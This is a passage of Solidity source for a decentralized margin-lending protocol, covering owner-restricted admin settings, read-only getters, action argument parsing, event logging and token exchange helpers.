state.accounts[account.owner][account.number].balances[marketId] = newPar;
}
function setParFromDeltaWei(
Storage.State storage state,
Account.Info memory account,
uint256 marketId,
Types.Wei memory deltaWei
)
internal
{
if (deltaWei.isZero()) {
return;
}
Interest.Index memory index = state.getIndex(marketId);
Types.Wei memory oldWei = state.getWei(account, marketId);
Types.Wei memory newWei = oldWei.add(deltaWei);
Types.Par memory newPar = Interest.weiToPar(newWei, index);
state.setPar(
account,
marketId,
newPar
);
}
}
contract State
{
Storage.State g_state;
}
library AdminImpl {
using Storage for Storage.State;
using Token for address;
using Types for Types.Wei;
bytes32 constant FILE = "AdminImpl";
event LogWithdrawExcessTokens(
address token,
uint256 amount
);
event LogAddMarket(
uint256 marketId,
address token
);
event LogSetIsClosing(
uint256 marketId,
bool isClosing
);
event LogSetPriceOracle(
uint256 marketId,
address priceOracle
);
event LogSetInterestSetter(
uint256 marketId,
address interestSetter
);
event LogSetMarginPremium(
uint256 marketId,
Decimal.D256 marginPremium
);
event LogSetSpreadPremium(
uint256 marketId,
Decimal.D256 spreadPremium
);
event LogSetMarginRatio(
Decimal.D256 marginRatio
);
event LogSetLiquidationSpread(
Decimal.D256 liquidationSpread
);
event LogSetEarningsRate(
Decimal.D256 earningsRate
);
event LogSetMinBorrowedValue(
Monetary.Value minBorrowedValue
);
event LogSetGlobalOperator(
address operator,
bool approved
);
function ownerWithdrawExcessTokens(
Storage.State storage state,
uint256 marketId,
address recipient
)
public
returns (uint256)
{
_validateMarketId(state, marketId);
Types.Wei memory excessWei = state.getNumExcessTokens(marketId);
Require.that(
!excessWei.isNegative(),
FILE,
"Negative excess"
);
address token = state.getToken(marketId);
uint256 actualBalance = token.balanceOf(address(this));
if (excessWei.value > actualBalance) {
excessWei.value = actualBalance;
}
token.transfer(recipient, excessWei.value);
emit LogWithdrawExcessTokens(token, excessWei.value);
return excessWei.value;
}
function ownerWithdrawUnsupportedTokens(
Storage.State storage state,
address token,
address recipient
)
public
returns (uint256)
{
_requireNoMarket(state, token);
uint256 balance = token.balanceOf(address(this));
token.transfer(recipient, balance);
emit LogWithdrawExcessTokens(token, balance);
return balance;
}
function ownerAddMarket(
Storage.State storage state,
address token,
IPriceOracle priceOracle,
IInterestSetter interestSetter,
Decimal.D256 memory marginPremium,
Decimal.D256 memory spreadPremium
)
public
{
_requireNoMarket(state, token);
uint256 marketId = state.numMarkets;
state.numMarkets++;
state.markets[marketId].token = token;
state.markets[marketId].index = Interest.newIndex();
emit LogAddMarket(marketId, token);
_setPriceOracle(state, marketId, priceOracle);
_setInterestSetter(state, marketId, interestSetter);
_setMarginPremium(state, marketId, marginPremium);
_setSpreadPremium(state, marketId, spreadPremium);
}
function ownerSetIsClosing(
Storage.State storage state,
uint256 marketId,
bool isClosing
)
public
{
_validateMarketId(state, marketId);
state.markets[marketId].isClosing = isClosing;
emit LogSetIsClosing(marketId, isClosing);
}
function ownerSetPriceOracle(
Storage.State storage state,
uint256 marketId,
IPriceOracle priceOracle
)
public
{
_validateMarketId(state, marketId);
_setPriceOracle(state, marketId, priceOracle);
}
function ownerSetInterestSetter(
Storage.State storage state,
uint256 marketId,
IInterestSetter interestSetter
)
public
{
_validateMarketId(state, marketId);
_setInterestSetter(state, marketId, interestSetter);
}
function ownerSetMarginPremium(
Storage.State storage state,
uint256 marketId,
Decimal.D256 memory marginPremium
)
public
{
_validateMarketId(state, marketId);
_setMarginPremium(state, marketId, marginPremium);
}
function ownerSetSpreadPremium(
Storage.State storage state,
uint256 marketId,
Decimal.D256 memory spreadPremium
)
public
{
_validateMarketId(state, marketId);
_setSpreadPremium(state, marketId, spreadPremium);
}
function ownerSetMarginRatio(
Storage.State storage state,
Decimal.D256 memory ratio
)
public
{
Require.that(
ratio.value <= state.riskLimits.marginRatioMax,
FILE,
"Ratio too high"
);
Require.that(
ratio.value > state.riskParams.liquidationSpread.value,
FILE,
"Ratio cannot be <= spread"
);
state.riskParams.marginRatio = ratio;
emit LogSetMarginRatio(ratio);
}
function ownerSetLiquidationSpread(
Storage.State storage state,
Decimal.D256 memory spread
)
public
{
Require.that(
spread.value <= state.riskLimits.liquidationSpreadMax,
FILE,
"Spread too high"
);
Require.that(
spread.value < state.riskParams.marginRatio.value,
FILE,
"Spread cannot be >= ratio"
);
state.riskParams.liquidationSpread = spread;
emit LogSetLiquidationSpread(spread);
}
function ownerSetEarningsRate(
Storage.State storage state,
Decimal.D256 memory earningsRate
)
public
{
Require.that(
earningsRate.value <= state.riskLimits.earningsRateMax,
FILE,
"Rate too high"
);
state.riskParams.earningsRate = earningsRate;
emit LogSetEarningsRate(earningsRate);
}
function ownerSetMinBorrowedValue(
Storage.State storage state,
Monetary.Value memory minBorrowedValue
)
public
{
Require.that(
minBorrowedValue.value <= state.riskLimits.minBorrowedValueMax,
FILE,
"Value too high"
);
state.riskParams.minBorrowedValue = minBorrowedValue;
emit LogSetMinBorrowedValue(minBorrowedValue);
}
function ownerSetGlobalOperator(
Storage.State storage state,
address operator,
bool approved
)
public
{
state.globalOperators[operator] = approved;
emit LogSetGlobalOperator(operator, approved);
}
function _setPriceOracle(
Storage.State storage state,
uint256 marketId,
IPriceOracle priceOracle
)
private
{
address token = state.markets[marketId].token;
Require.that(
priceOracle.getPrice(token).value != 0,
FILE,
"Invalid oracle price"
);
state.markets[marketId].priceOracle = priceOracle;
emit LogSetPriceOracle(marketId, address(priceOracle));
}
function _setInterestSetter(
Storage.State storage state,
uint256 marketId,
IInterestSetter interestSetter
)
private
{
address token = state.markets[marketId].token;
interestSetter.getInterestRate(token, 0, 0);
state.markets[marketId].interestSetter = interestSetter;
emit LogSetInterestSetter(marketId, address(interestSetter));
}
function _setMarginPremium(
Storage.State storage state,
uint256 marketId,
Decimal.D256 memory marginPremium
)
private
{
Require.that(
marginPremium.value <= state.riskLimits.marginPremiumMax,
FILE,
"Margin premium too high"
);
state.markets[marketId].marginPremium = marginPremium;
emit LogSetMarginPremium(marketId, marginPremium);
}
function _setSpreadPremium(
Storage.State storage state,
uint256 marketId,
Decimal.D256 memory spreadPremium
)
private
{
Require.that(
spreadPremium.value <= state.riskLimits.spreadPremiumMax,
FILE,
"Spread premium too high"
);
state.markets[marketId].spreadPremium = spreadPremium;
emit LogSetSpreadPremium(marketId, spreadPremium);
}
function _requireNoMarket(
Storage.State storage state,
address token
)
private
view
{
uint256 numMarkets = state.numMarkets;
bool marketExists = false;
for (uint256 m = 0; m < numMarkets; m++) {
if (state.markets[m].token == token) {
marketExists = true;
break;
}
}
Require.that(
!marketExists,
FILE,
"Market exists"
);
}
function _validateMarketId(
Storage.State storage state,
uint256 marketId
)
private
view
{
Require.that(
marketId < state.numMarkets,
FILE,
"Market OOB",
marketId
);
}
}
contract Admin is
State,
Ownable,
ReentrancyGuard
{
function ownerWithdrawExcessTokens(
uint256 marketId,
address recipient
)
public
onlyOwner
nonReentrant
returns (uint256)
{
return AdminImpl.ownerWithdrawExcessTokens(
g_state,
marketId,
recipient
);
}
function ownerWithdrawUnsupportedTokens(
address token,
address recipient
)
public
onlyOwner
nonReentrant
returns (uint256)
{
return AdminImpl.ownerWithdrawUnsupportedTokens(
g_state,
token,
recipient
);
}
function ownerAddMarket(
address token,
IPriceOracle priceOracle,
IInterestSetter interestSetter,
Decimal.D256 memory marginPremium,
Decimal.D256 memory spreadPremium
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerAddMarket(
g_state,
token,
priceOracle,
interestSetter,
marginPremium,
spreadPremium
);
}
function ownerSetIsClosing(
uint256 marketId,
bool isClosing
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetIsClosing(
g_state,
marketId,
isClosing
);
}
function ownerSetPriceOracle(
uint256 marketId,
IPriceOracle priceOracle
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetPriceOracle(
g_state,
marketId,
priceOracle
);
}
function ownerSetInterestSetter(
uint256 marketId,
IInterestSetter interestSetter
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetInterestSetter(
g_state,
marketId,
interestSetter
);
}
function ownerSetMarginPremium(
uint256 marketId,
Decimal.D256 memory marginPremium
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetMarginPremium(
g_state,
marketId,
marginPremium
);
}
function ownerSetSpreadPremium(
uint256 marketId,
Decimal.D256 memory spreadPremium
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetSpreadPremium(
g_state,
marketId,
spreadPremium
);
}
function ownerSetMarginRatio(
Decimal.D256 memory ratio
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetMarginRatio(
g_state,
ratio
);
}
function ownerSetLiquidationSpread(
Decimal.D256 memory spread
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetLiquidationSpread(
g_state,
spread
);
}
function ownerSetEarningsRate(
Decimal.D256 memory earningsRate
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetEarningsRate(
g_state,
earningsRate
);
}
function ownerSetMinBorrowedValue(
Monetary.Value memory minBorrowedValue
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetMinBorrowedValue(
g_state,
minBorrowedValue
);
}
function ownerSetGlobalOperator(
address operator,
bool approved
)
public
onlyOwner
nonReentrant
{
AdminImpl.ownerSetGlobalOperator(
g_state,
operator,
approved
);
}
}
contract Getters is
State
{
using Cache for Cache.MarketCache;
using Storage for Storage.State;
using Types for Types.Par;
bytes32 FILE = "Getters";
function getMarginRatio()
public
view
returns (Decimal.D256 memory)
{
return g_state.riskParams.marginRatio;
}
function getLiquidationSpread()
public
view
returns (Decimal.D256 memory)
{
return g_state.riskParams.liquidationSpread;
}
function getEarningsRate()
public
view
returns (Decimal.D256 memory)
{
return g_state.riskParams.earningsRate;
}
function getMinBorrowedValue()
public
view
returns (Monetary.Value memory)
{
return g_state.riskParams.minBorrowedValue;
}
function getRiskParams()
public
view
returns (Storage.RiskParams memory)
{
return g_state.riskParams;
}
function getRiskLimits()
public
view
returns (Storage.RiskLimits memory)
{
return g_state.riskLimits;
}
function getNumMarkets()
public
view
returns (uint256)
{
return g_state.numMarkets;
}
function getMarketTokenAddress(
uint256 marketId
)
public
view
returns (address)
{
_requireValidMarket(marketId);
return g_state.getToken(marketId);
}
function getMarketTotalPar(
uint256 marketId
)
public
view
returns (Types.TotalPar memory)
{
_requireValidMarket(marketId);
return g_state.getTotalPar(marketId);
}
function getMarketCachedIndex(
uint256 marketId
)
public
view
returns (Interest.Index memory)
{
_requireValidMarket(marketId);
return g_state.getIndex(marketId);
}
function getMarketCurrentIndex(
uint256 marketId
)
public
view
returns (Interest.Index memory)
{
_requireValidMarket(marketId);
return g_state.fetchNewIndex(marketId, g_state.getIndex(marketId));
}
function getMarketPriceOracle(
uint256 marketId
)
public
view
returns (IPriceOracle)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].priceOracle;
}
function getMarketInterestSetter(
uint256 marketId
)
public
view
returns (IInterestSetter)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].interestSetter;
}
function getMarketMarginPremium(
uint256 marketId
)
public
view
returns (Decimal.D256 memory)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].marginPremium;
}
function getMarketSpreadPremium(
uint256 marketId
)
public
view
returns (Decimal.D256 memory)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].spreadPremium;
}
function getMarketIsClosing(
uint256 marketId
)
public
view
returns (bool)
{
_requireValidMarket(marketId);
return g_state.markets[marketId].isClosing;
}
function getMarketPrice(
uint256 marketId
)
public
view
returns (Monetary.Price memory)
{
_requireValidMarket(marketId);
return g_state.fetchPrice(marketId);
}
function getMarketInterestRate(
uint256 marketId
)
public
view
returns (Interest.Rate memory)
{
_requireValidMarket(marketId);
return g_state.fetchInterestRate(
marketId,
g_state.getIndex(marketId)
);
}
function getLiquidationSpreadForPair(
uint256 heldMarketId,
uint256 owedMarketId
)
public
view
returns (Decimal.D256 memory)
{
_requireValidMarket(heldMarketId);
_requireValidMarket(owedMarketId);
return g_state.getLiquidationSpreadForPair(heldMarketId, owedMarketId);
}
function getMarket(
uint256 marketId
)
public
view
returns (Storage.Market memory)
{
_requireValidMarket(marketId);
return g_state.markets[marketId];
}
function getMarketWithInfo(
uint256 marketId
)
public
view
returns (
Storage.Market memory,
Interest.Index memory,
Monetary.Price memory,
Interest.Rate memory
)
{
_requireValidMarket(marketId);
return (
getMarket(marketId),
getMarketCurrentIndex(marketId),
getMarketPrice(marketId),
getMarketInterestRate(marketId)
);
}
function getNumExcessTokens(
uint256 marketId
)
public
view
returns (Types.Wei memory)
{
_requireValidMarket(marketId);
return g_state.getNumExcessTokens(marketId);
}
function getAccountPar(
Account.Info memory account,
uint256 marketId
)
public
view
returns (Types.Par memory)
{
_requireValidMarket(marketId);
return g_state.getPar(account, marketId);
}
function getAccountWei(
Account.Info memory account,
uint256 marketId
)
public
view
returns (Types.Wei memory)
{
_requireValidMarket(marketId);
return Interest.parToWei(
g_state.getPar(account, marketId),
g_state.fetchNewIndex(marketId, g_state.getIndex(marketId))
);
}
function getAccountStatus(
Account.Info memory account
)
public
view
returns (Account.Status)
{
return g_state.getStatus(account);
}
function getAccountValues(
Account.Info memory account
)
public
view
returns (Monetary.Value memory, Monetary.Value memory)
{
return getAccountValuesInternal(account, false);
}
function getAdjustedAccountValues(
Account.Info memory account
)
public
view
returns (Monetary.Value memory, Monetary.Value memory)
{
return getAccountValuesInternal(account, true);
}
function getAccountBalances(
Account.Info memory account
)
public
view
returns (
address[] memory,
Types.Par[] memory,
Types.Wei[] memory
)
{
uint256 numMarkets = g_state.numMarkets;
address[] memory tokens = new address[](numMarkets);
Types.Par[] memory pars = new Types.Par[](numMarkets);
Types.Wei[] memory weis = new Types.Wei[](numMarkets);
for (uint256 m = 0; m < numMarkets; m++) {
tokens[m] = getMarketTokenAddress(m);
pars[m] = getAccountPar(account, m);
weis[m] = getAccountWei(account, m);
}
return (
tokens,
pars,
weis
);
}
function getIsLocalOperator(
address owner,
address operator
)
public
view
returns (bool)
{
return g_state.isLocalOperator(owner, operator);
}
function getIsGlobalOperator(
address operator
)
public
view
returns (bool)
{
return g_state.isGlobalOperator(operator);
}
function _requireValidMarket(
uint256 marketId
)
private
view
{
Require.that(
marketId < g_state.numMarkets,
FILE,
"Market OOB"
);
}
function getAccountValuesInternal(
Account.Info memory account,
bool adjustForLiquidity
)
private
view
returns (Monetary.Value memory, Monetary.Value memory)
{
uint256 numMarkets = g_state.numMarkets;
Cache.MarketCache memory cache = Cache.create(numMarkets);
for (uint256 m = 0; m < numMarkets; m++) {
if (!g_state.getPar(account, m).isZero()) {
cache.addMarket(g_state, m);
}
}
return g_state.getAccountValues(account, cache, adjustForLiquidity);
}
}
library Actions {
bytes32 constant FILE = "Actions";
enum ActionType {
Deposit,
Withdraw,
Transfer,
Buy,
Sell,
Trade,
Liquidate,
Vaporize,
Call
}
enum AccountLayout {
OnePrimary,
TwoPrimary,
PrimaryAndSecondary
}
enum MarketLayout {
ZeroMarkets,
OneMarket,
TwoMarkets
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct DepositArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address from;
}
struct WithdrawArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 market;
address to;
}
struct TransferArgs {
Types.AssetAmount amount;
Account.Info accountOne;
Account.Info accountTwo;
uint256 market;
}
struct BuyArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 makerMarket;
uint256 takerMarket;
address exchangeWrapper;
bytes orderData;
}
struct SellArgs {
Types.AssetAmount amount;
Account.Info account;
uint256 takerMarket;
uint256 makerMarket;
address exchangeWrapper;
bytes orderData;
}
struct TradeArgs {
Types.AssetAmount amount;
Account.Info takerAccount;
Account.Info makerAccount;
uint256 inputMarket;
uint256 outputMarket;
address autoTrader;
bytes tradeData;
}
struct LiquidateArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info liquidAccount;
uint256 owedMarket;
uint256 heldMarket;
}
struct VaporizeArgs {
Types.AssetAmount amount;
Account.Info solidAccount;
Account.Info vaporAccount;
uint256 owedMarket;
uint256 heldMarket;
}
struct CallArgs {
Account.Info account;
address callee;
bytes data;
}
function getMarketLayout(
ActionType actionType
)
internal
pure
returns (MarketLayout)
{
if (
actionType == Actions.ActionType.Deposit
|| actionType == Actions.ActionType.Withdraw
|| actionType == Actions.ActionType.Transfer
) {
return MarketLayout.OneMarket;
}
else if (actionType == Actions.ActionType.Call) {
return MarketLayout.ZeroMarkets;
}
return MarketLayout.TwoMarkets;
}
function getAccountLayout(
ActionType actionType
)
internal
pure
returns (AccountLayout)
{
if (
actionType == Actions.ActionType.Transfer
|| actionType == Actions.ActionType.Trade
) {
return AccountLayout.TwoPrimary;
} else if (
actionType == Actions.ActionType.Liquidate
|| actionType == Actions.ActionType.Vaporize
) {
return AccountLayout.PrimaryAndSecondary;
}
return AccountLayout.OnePrimary;
}
function parseDepositArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (DepositArgs memory)
{
assert(args.actionType == ActionType.Deposit);
return DepositArgs({
amount: args.amount,
account: accounts[args.accountId],
market: args.primaryMarketId,
from: args.otherAddress
});
}
function parseWithdrawArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (WithdrawArgs memory)
{
assert(args.actionType == ActionType.Withdraw);
return WithdrawArgs({
amount: args.amount,
account: accounts[args.accountId],
market: args.primaryMarketId,
to: args.otherAddress
});
}
function parseTransferArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (TransferArgs memory)
{
assert(args.actionType == ActionType.Transfer);
return TransferArgs({
amount: args.amount,
accountOne: accounts[args.accountId],
accountTwo: accounts[args.otherAccountId],
market: args.primaryMarketId
});
}
function parseBuyArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (BuyArgs memory)
{
assert(args.actionType == ActionType.Buy);
return BuyArgs({
amount: args.amount,
account: accounts[args.accountId],
makerMarket: args.primaryMarketId,
takerMarket: args.secondaryMarketId,
exchangeWrapper: args.otherAddress,
orderData: args.data
});
}
function parseSellArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (SellArgs memory)
{
assert(args.actionType == ActionType.Sell);
return SellArgs({
amount: args.amount,
account: accounts[args.accountId],
takerMarket: args.primaryMarketId,
makerMarket: args.secondaryMarketId,
exchangeWrapper: args.otherAddress,
orderData: args.data
});
}
function parseTradeArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (TradeArgs memory)
{
assert(args.actionType == ActionType.Trade);
return TradeArgs({
amount: args.amount,
takerAccount: accounts[args.accountId],
makerAccount: accounts[args.otherAccountId],
inputMarket: args.primaryMarketId,
outputMarket: args.secondaryMarketId,
autoTrader: args.otherAddress,
tradeData: args.data
});
}
function parseLiquidateArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (LiquidateArgs memory)
{
assert(args.actionType == ActionType.Liquidate);
return LiquidateArgs({
amount: args.amount,
solidAccount: accounts[args.accountId],
liquidAccount: accounts[args.otherAccountId],
owedMarket: args.primaryMarketId,
heldMarket: args.secondaryMarketId
});
}
function parseVaporizeArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (VaporizeArgs memory)
{
assert(args.actionType == ActionType.Vaporize);
return VaporizeArgs({
amount: args.amount,
solidAccount: accounts[args.accountId],
vaporAccount: accounts[args.otherAccountId],
owedMarket: args.primaryMarketId,
heldMarket: args.secondaryMarketId
});
}
function parseCallArgs(
Account.Info[] memory accounts,
ActionArgs memory args
)
internal
pure
returns (CallArgs memory)
{
assert(args.actionType == ActionType.Call);
return CallArgs({
account: accounts[args.accountId],
callee: args.otherAddress,
data: args.data
});
}
}
library Events {
using Types for Types.Wei;
using Storage for Storage.State;
event LogIndexUpdate(
uint256 indexed market,
Interest.Index index
);
event LogOperation(
address sender
);
event LogDeposit(
address indexed accountOwner,
uint256 accountNumber,
uint256 market,
BalanceUpdate update,
address from
);
event LogWithdraw(
address indexed accountOwner,
uint256 accountNumber,
uint256 market,
BalanceUpdate update,
address to
);
event LogTransfer(
address indexed accountOneOwner,
uint256 accountOneNumber,
address indexed accountTwoOwner,
uint256 accountTwoNumber,
uint256 market,
BalanceUpdate updateOne,
BalanceUpdate updateTwo
);
event LogBuy(
address indexed accountOwner,
uint256 accountNumber,
uint256 takerMarket,
uint256 makerMarket,
BalanceUpdate takerUpdate,
BalanceUpdate makerUpdate,
address exchangeWrapper
);
event LogSell(
address indexed accountOwner,
uint256 accountNumber,
uint256 takerMarket,
uint256 makerMarket,
BalanceUpdate takerUpdate,
BalanceUpdate makerUpdate,
address exchangeWrapper
);
event LogTrade(
address indexed takerAccountOwner,
uint256 takerAccountNumber,
address indexed makerAccountOwner,
uint256 makerAccountNumber,
uint256 inputMarket,
uint256 outputMarket,
BalanceUpdate takerInputUpdate,
BalanceUpdate takerOutputUpdate,
BalanceUpdate makerInputUpdate,
BalanceUpdate makerOutputUpdate,
address autoTrader
);
event LogCall(
address indexed accountOwner,
uint256 accountNumber,
address callee
);
event LogLiquidate(
address indexed solidAccountOwner,
uint256 solidAccountNumber,
address indexed liquidAccountOwner,
uint256 liquidAccountNumber,
uint256 heldMarket,
uint256 owedMarket,
BalanceUpdate solidHeldUpdate,
BalanceUpdate solidOwedUpdate,
BalanceUpdate liquidHeldUpdate,
BalanceUpdate liquidOwedUpdate
);
event LogVaporize(
address indexed solidAccountOwner,
uint256 solidAccountNumber,
address indexed vaporAccountOwner,
uint256 vaporAccountNumber,
uint256 heldMarket,
uint256 owedMarket,
BalanceUpdate solidHeldUpdate,
BalanceUpdate solidOwedUpdate,
BalanceUpdate vaporOwedUpdate
);
struct BalanceUpdate {
Types.Wei deltaWei;
Types.Par newPar;
}
function logIndexUpdate(
uint256 marketId,
Interest.Index memory index
)
internal
{
emit LogIndexUpdate(
marketId,
index
);
}
function logOperation()
internal
{
emit LogOperation(msg.sender);
}
function logDeposit(
Storage.State storage state,
Actions.DepositArgs memory args,
Types.Wei memory deltaWei
)
internal
{
emit LogDeposit(
args.account.owner,
args.account.number,
args.market,
getBalanceUpdate(
state,
args.account,
args.market,
deltaWei
),
args.from
);
}
function logWithdraw(
Storage.State storage state,
Actions.WithdrawArgs memory args,
Types.Wei memory deltaWei
)
internal
{
emit LogWithdraw(
args.account.owner,
args.account.number,
args.market,
getBalanceUpdate(
state,
args.account,
args.market,
deltaWei
),
args.to
);
}
function logTransfer(
Storage.State storage state,
Actions.TransferArgs memory args,
Types.Wei memory deltaWei
)
internal
{
emit LogTransfer(
args.accountOne.owner,
args.accountOne.number,
args.accountTwo.owner,
args.accountTwo.number,
args.market,
getBalanceUpdate(
state,
args.accountOne,
args.market,
deltaWei
),
getBalanceUpdate(
state,
args.accountTwo,
args.market,
deltaWei.negative()
)
);
}
function logBuy(
Storage.State storage state,
Actions.BuyArgs memory args,
Types.Wei memory takerWei,
Types.Wei memory makerWei
)
internal
{
emit LogBuy(
args.account.owner,
args.account.number,
args.takerMarket,
args.makerMarket,
getBalanceUpdate(
state,
args.account,
args.takerMarket,
takerWei
),
getBalanceUpdate(
state,
args.account,
args.makerMarket,
makerWei
),
args.exchangeWrapper
);
}
function logSell(
Storage.State storage state,
Actions.SellArgs memory args,
Types.Wei memory takerWei,
Types.Wei memory makerWei
)
internal
{
emit LogSell(
args.account.owner,
args.account.number,
args.takerMarket,
args.makerMarket,
getBalanceUpdate(
state,
args.account,
args.takerMarket,
takerWei
),
getBalanceUpdate(
state,
args.account,
args.makerMarket,
makerWei
),
args.exchangeWrapper
);
}
function logTrade(
Storage.State storage state,
Actions.TradeArgs memory args,
Types.Wei memory inputWei,
Types.Wei memory outputWei
)
internal
{
BalanceUpdate[4] memory updates = [
getBalanceUpdate(
state,
args.takerAccount,
args.inputMarket,
inputWei.negative()
),
getBalanceUpdate(
state,
args.takerAccount,
args.outputMarket,
outputWei.negative()
),
getBalanceUpdate(
state,
args.makerAccount,
args.inputMarket,
inputWei
),
getBalanceUpdate(
state,
args.makerAccount,
args.outputMarket,
outputWei
)
];
emit LogTrade(
args.takerAccount.owner,
args.takerAccount.number,
args.makerAccount.owner,
args.makerAccount.number,
args.inputMarket,
args.outputMarket,
updates[0],
updates[1],
updates[2],
updates[3],
args.autoTrader
);
}
function logCall(
Actions.CallArgs memory args
)
internal
{
emit LogCall(
args.account.owner,
args.account.number,
args.callee
);
}
function logLiquidate(
Storage.State storage state,
Actions.LiquidateArgs memory args,
Types.Wei memory heldWei,
Types.Wei memory owedWei
)
internal
{
BalanceUpdate memory solidHeldUpdate = getBalanceUpdate(
state,
args.solidAccount,
args.heldMarket,
heldWei.negative()
);
BalanceUpdate memory solidOwedUpdate = getBalanceUpdate(
state,
args.solidAccount,
args.owedMarket,
owedWei.negative()
);
BalanceUpdate memory liquidHeldUpdate = getBalanceUpdate(
state,
args.liquidAccount,
args.heldMarket,
heldWei
);
BalanceUpdate memory liquidOwedUpdate = getBalanceUpdate(
state,
args.liquidAccount,
args.owedMarket,
owedWei
);
emit LogLiquidate(
args.solidAccount.owner,
args.solidAccount.number,
args.liquidAccount.owner,
args.liquidAccount.number,
args.heldMarket,
args.owedMarket,
solidHeldUpdate,
solidOwedUpdate,
liquidHeldUpdate,
liquidOwedUpdate
);
}
function logVaporize(
Storage.State storage state,
Actions.VaporizeArgs memory args,
Types.Wei memory heldWei,
Types.Wei memory owedWei,
Types.Wei memory excessWei
)
internal
{
BalanceUpdate memory solidHeldUpdate = getBalanceUpdate(
state,
args.solidAccount,
args.heldMarket,
heldWei.negative()
);
BalanceUpdate memory solidOwedUpdate = getBalanceUpdate(
state,
args.solidAccount,
args.owedMarket,
owedWei.negative()
);
BalanceUpdate memory vaporOwedUpdate = getBalanceUpdate(
state,
args.vaporAccount,
args.owedMarket,
owedWei.add(excessWei)
);
emit LogVaporize(
args.solidAccount.owner,
args.solidAccount.number,
args.vaporAccount.owner,
args.vaporAccount.number,
args.heldMarket,
args.owedMarket,
solidHeldUpdate,
solidOwedUpdate,
vaporOwedUpdate
);
}
function getBalanceUpdate(
Storage.State storage state,
Account.Info memory account,
uint256 market,
Types.Wei memory deltaWei
)
private
view
returns (BalanceUpdate memory)
{
return BalanceUpdate({
deltaWei: deltaWei,
newPar: state.getPar(account, market)
});
}
}
interface IExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes calldata orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes calldata orderData
)
external
view
returns (uint256);
}
library Exchange {
using Types for Types.Wei;
bytes32 constant FILE = "Exchange";
function transferOut(
address token,
address to,
Types.Wei memory deltaWei
)
internal
{
Require.that(
!deltaWei.isPositive(),
FILE,
"Cannot transferOut positive",
deltaWei.value
);
Token.transfer(
token,
to,
deltaWei.value
);
}
function transferIn(
address token,
address from,
Types.Wei memory deltaWei
)
internal
{
Require.that(
!deltaWei.isNegative(),
FILE,
"Cannot transferIn negative",
deltaWei.value
);
Token.transferFrom(
token,
from,
address(this),
deltaWei.value
);
}
function getCost(
address exchangeWrapper,
address supplyToken,
address borrowToken,
Types.Wei memory desiredAmount,
bytes memory orderData
)
internal
view
returns (Types.Wei memory)
{
Require.that(
!desiredAmount.isNegative(),
FILE,
"Cannot getCost negative",
desiredAmount.value
);
Types.Wei memory result;
result.sign = false;
result.value = IExchangeWrapper(exchangeWrapper).getExchangeCost(
supplyToken,
borrowToken,
desiredAmount.value,
orderData
);
return result;
}
function exchange(
address exchangeWrapper,
address accountOwner,
address supplyToken,
address borrowToken,
Types.Wei memory requestedFillAmount,
bytes memory orderData
)
internal
returns (Types.Wei memory)
{
Require.that(
!requestedFillAmount.isPositive(),
FILE,
"Cannot exchange positive",
requestedFillAmount.value
);
transferOut(borrowToken, exchangeWrapper, requestedFillAmount);
Types.Wei memory result;
result.sign = true;
result.value = IExchangeWrapper(exchangeWrapper).exchange(
accountOwner,
address(this),
supplyToken,
borrowToken,
requestedFillAmount.value,
orderData
);
transferIn(supplyToken, exchangeWrapper, result);
return result;
}
}
library OperationImpl {
using Cache for Cache.MarketCache;
using SafeMath for uint256;
using Storage for Storage.State;
using Types for Types.Par;
using Types for Types.Wei;
bytes32 constant FILE = "OperationImpl";
function operate(
Storage.State storage state,
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
)
public
{
Events.logOperation();
_verifyInputs(accounts, actions);
(
bool[] memory primaryAccounts,
Cache.MarketCache memory cache
) = _runPreprocessing(
state,
accounts,
actions
);
_runActions(
state,
accounts,
actions,
cache
);
_verifyFinalState(
state,
accounts,
primaryAccounts,
cache
);
}
function _verifyInputs(
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
)
private
pure
{
Require.that(
actions.length != 0,
FILE,
"Cannot have zero actions"
);
Require.that(
accounts.length != 0,
FILE,
"Cannot have zero accounts"
);
for (uint256 a = 0; a < accounts.length; a++) {
for (uint256 b = a + 1; b < accounts.length; b++) {
Require.that(
!Account.equals(accounts[a], accounts[b]),
FILE,
"Cannot duplicate accounts",
a,
b
);
}
}
}
function _runPreprocessing(
Storage.State storage state,
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
)
private
returns (
bool[] memory,
Cache.MarketCache memory
)
{
uint256 numMarkets = state.numMarkets;
bool[] memory primaryAccounts = new bool[](accounts.length);
Cache.MarketCache memory cache = Cache.create(numMarkets);
for (uint256 i = 0; i < actions.length; i++) {
Actions.ActionArgs memory arg = actions[i];
